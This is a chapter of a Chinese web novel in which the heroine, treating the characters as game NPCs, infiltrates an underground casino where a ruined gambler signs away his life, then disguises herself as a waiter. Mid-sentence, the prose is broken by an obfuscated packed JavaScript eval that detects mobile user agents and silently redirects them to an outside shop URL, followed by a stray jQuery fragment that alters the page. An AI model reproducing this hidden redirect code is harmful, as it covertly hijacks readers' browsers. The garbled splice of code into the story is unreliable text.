大厅里放着几张赌桌,围着一圈圈人,时不时还有叫好的声音和投掷筹码的声音。
他们已然将注意力全部都扔在了赌桌之上,赌场之内亮堂得如白昼一般。他们又美其名曰叫这儿“极昼场”。
姜素顺势挤进去。
不过她对赌桌上的生意一窍不通,双方对峙的博弈倒是也不求甚解。只知道没一会儿,赌桌突然安静下来,没一会儿所有人突然欢呼尖叫,紧接着赌桌上的一边,大哥痛苦地抱头痛哭,面前的筹码如大厦般倾倒。
如此一来,便胜负已分了。
许是姜素初来乍到的样子太过于明显。一局完毕之后,旁边回过神来的便多少将目光投在她身上。
赌局是没有休息时间的,一盘输了就加大筹码。转机永远在下一把。
虽然大哥已经泪眼纵横,但他还是将全副身家再次压上,“来,再来一把。”
对面嗤笑一声:“你拿什么跟我赌啊,刚才那盘你把你家的房子赌上了吧。张老三,你还剩下什么,有什么资格跟我上这局赌桌?”
张老三冲着他啐了一口,喘气说道:“别啰嗦,就问你敢不敢。全部、把你的全部筹码都压上,跟我来一局。”
对面正春风得意,听到这话大吼一声:“好!我就跟你赌!谁不来谁是王八。但我也不可能白跟你赌,赌桌上讲究的是一个公平、公正。我的筹码全部押上,你也得露出点东西来让我眼馋眼馋。”
张老三咽了一口口水,一鼓气,已经发直的眼神盯着他:“说吧,你要什么。”
对面拍了拍手。
所有人的目光都朝着他的方向看去。
这时候姜素才发现原来大厅的角落还分布着与墙壁几乎融为一体的小隔间。隔间悄无声息地打开,出来一个侍应生,手里拿着一个托盘,然后他身后的门又再次悄无声息关上。
“你手上已经没有筹码了。钱,房子,就差你女人没抵押出来了吧。鳖孙子,那黄脸婆跟着你也是惨。今天,你要和我赌,我当然可以跟你赌。但是这一行有这一行的规矩,咱们都是在道上混的,得守规矩。”
“极昼场里有一个规矩。每个人都有一次绝地翻盘的机会。”
“把你自己当成筹码,压在这最后一场赌局里。”对面笑着,笑容却显得阴森可怖。他从侍应生手上结果一张薄薄的一张纸,重重地压在赌桌上,“签了它,我就跟你赌。”
张老三见到这副阵势,显然脸都惨白了。他半天说不出一句话来。
姜素问:“这是什么东西?”
旁边有人回答:“生死契,签了它如果赌输就等于把命抵押给底下赌场,一辈子都翻不了身。赌场会替他支付给赢家相应的钱财。如果赢了,生死契就作废。”
良久,张老三颤抖着苍白的嘴唇,眼睛一闭,点了头。
为了这场赌局,他要赌上了自己的性命。姜素很难理解这种赌鬼真实的心理运行逻辑,不过他做出了这个决定之后,周围的欢呼声更大了。大家起哄着,簇拥着,世界的聚光灯此刻仿佛聚焦在他们之上。
旁边突兀地响起声音:“小兄弟,你新来的?”
姜素偏过脸一看,是一个长相白净的小白脸。他站在她旁边,同样透过人与人的缝隙兴味盎然地观看着赌局。
“我叫王新。你叫我小王。或者小新都行。”
他嘿嘿一笑,一副自来熟的样子。
姜素没理会他的搭讪,继续目不转睛地对着赌桌:“我不是男的。”
王新笑了:“我知道,这哪能看不出来。这不是一个称呼嘛,难不成叫你小美女,这也未免有些猥琐了。”他看姜素没有搭理自己的意思,倒是也不气馁,继续待在她旁边,有意无意地为她介绍。
“这盘是张老三的决胜局了,不知道他会不会翻盘呢。”
“其实张老三这个赌鬼,在赌这个方面还是有点水平的。你知道吗?你肯定不知道。张老三是一年前开始赌的,那时候他还在外场呢,赌的都是一些小钱。不过又一次啊,他狠下心拿了他老婆的治病钱出来赌,结果你猜怎么着?”他的视线看向她,一脸兴致勃勃期待她回答的样子。
姜素不轻不重的看了他一眼:“怎么着?”
“赢了!”他叫出声来,兴奋极了,“他一下子赚到了一套三层复式的房子!这可是这种穷鬼一辈子不敢想象的。这个事迹还在黑市流传了有好一阵子呢。”
“大家可羡慕他了。还给他编了一句民谣呢。张老三,张老三,金银钱财天上来,老婆孩子乐开怀。”
姜素随口应道:“但是看来张老三今天运势不太行啊。”
王新点头:“可不是,今儿个是他最背的一天了。但是也怪他自个儿,谁叫他之前连着仨礼拜没来了,今天突然过来说是和老婆彻底离婚了,结果手生了吧,还得把自己搭进去。”
姜素眼神诧异地看了他一眼。
王新看她态度有所缓和,愈发积极起来,“诶,小兄弟,哦不,小姐妹。怎么样,你要不要来一盘?像咱们这种普通人这辈子可没什么盼头,不如胆子大点赌个大的,说不准就咸鱼翻身,一朝变成人上人了呢。”
这下姜素看出来了,这小兄弟可不是平白无故自来熟的。他是为了来“掐新”的。
虽然他长得人模狗样,乍一看还挺正经,戴着一副眼睛像是有书卷气的读书人,但别忘了他可也是这赌鬼之中的一员。
王新想占这个便宜,别的赌鬼可不比他迟钝。一个个精得跟鬼一样。
于是诱惑的声音便不绝于耳。
“买定离手。”“买不了吃亏买不了上当。”“想要成为富人吗,想要好车豪宅美男环绕吗?这是你此生唯一的机会。一注十倍率。”
交谈之中,赌局上的博弈已经于无形之间开展了数十回。
说实话,姜素是希望张老三输的。
这无关于什么赌鬼赌到最后一无所有的正确价值观,也无关于她对张老三老婆的同情或是对张老三仇视的情感驱动。在姜素看来,他们再怎么样也不过就是游戏中的NPC罢了,只是电脑中的一堆数据或是代码,不是真正的有血有肉的人。
顶多算是二维生物。
而姜素作为高他们一维的真正的人,无比期盼着npc能够为她解锁支线提供一点帮助。她猜测,这地下赌场的玄机绝不会摆在台面上,真正的有用的线索是一定藏在看不见的地方的。姜素不动声色地瞟了一眼方才侍应生出来的那道门。
她可不相信对面那赌鬼就那么一拍手,声音真有那么大,或者那侍应生耳朵真有这么尖,既能在这么嘈杂的环境下听见那一点声音,还能够认得出是什么人要干什么。
啧。看来整个赌场都处在幕后之人的监视之中啊。
她悄无声息地退出人群
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678333|207594||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,跟在侍应生的后面。侍应生递交了生死契约之后并没有立即返回那扇门,而是折道去了卫生间。
整个过道静悄悄的,除了偶尔排水管哗啦啦的声响,没有任何声响。
侍应生抻了抻肩膀,发出疲惫的喟叹。他外八字、挎着肩膀走进男厕所。
“刺啦——”裤链落下。他轻咳嗽了几声,仰着头放松了下来。
姜素如鬼魅般隐在他的背影中,她勾起笑容,高高地扬起手对准他的脖颈。
走道静悄悄的。
姜素昂首挺胸地从男厕所走出来,拉了拉身上侍应生的马甲,顺带系紧了脖子前面的领结。
男侍应生的皮鞋码数太大,无奈之下她只能还穿着达涞的黑色毛皮鞋。好在黑色不显眼,不仔细看倒是也看不出来。
迎面走过来个哼着小曲儿的男人,男人悠闲地走过来,正好给她撞了一下。
姜素没有理会继续往前走。
男人被撞之后回头骂:“妈的,撞到人也不给我道歉。这赌场管理得是越来越差了,一个服务员竟敢对客人这样,信不信我投诉你!”
姜素的耳朵听得一清二楚,但她根本不想为这种没有价值的人物浪费时间。她低头看了眼胸前别针别着的小牌子,正常来说一般是名称之类,但这牌子是侍应生的代号,7k43。姜素将它暂且理解为工作代码。
无良公司,竟然泯灭职工人格。用这种物化的代码指代人。
职工“7k43”已经能够完美适应这个身份。
从昏暗的走道回到内场的大厅,绚丽闪亮的灯光一下子又席卷了整个视线。姜素没打算直接进入那个隐藏门,而是静静等待着下一步的行动。她无比期待着看到这个如此庞大而又丧心病狂的地下赌场幕后老板。
所幸没让她等太久。
赌桌上发出一阵巨大的狂欢和咒骂混杂声时,她就知道到时间了。
张老三瘫软在地上,俨然一副要死的样子。内场柔软的地毯贴着他的脸,仿佛贴着子宫内壁。而他此刻则是尚未出生,脐带也没剪,放回他妈肚子里回炉重造了。
姜素抬起脚步。
与此同时,耳边的通讯器也发出指令传导入她的耳蜗。
“服务生7k43,服务生7k43,服务生7k43,把生死契签订人带进来。收到请回复。”
姜素一边往张老三走去,一边面无表情地按下按钮:“收到。”
张老三一看到她像是见了什么瘟神,突然瞪大眼睛,在地上四肢并用地弹跳,像一只活虾,嘴里还念叨着“滚开,给我滚啊。”“我不走我不走,我不相信!”“让我再赌一局,最后一局!我一定能翻盘!”之类的傻话。
姜素环着手臂居高临下地看着他,叹了一口气。
耳边通讯器:“服务生7k43,你可以应付吗?有困难的话请求总部协助,让8484过来协助你。”
姜素弯下腰,抓住张老三的一只小腿。
张老三挣扎得更加猛烈了,整个人在地上鱼跃式跳动。姜素都差点脱手。
“砰——”整个大厅静止了一瞬。
张老三突然安静下来,继而如同死尸一动不动了。
姜素满意地收回脚,挺直了腰板,一手抓住他的脚拖行着往角落走去。
“滴。”
姜素说道: “报告总部,一切顺利。”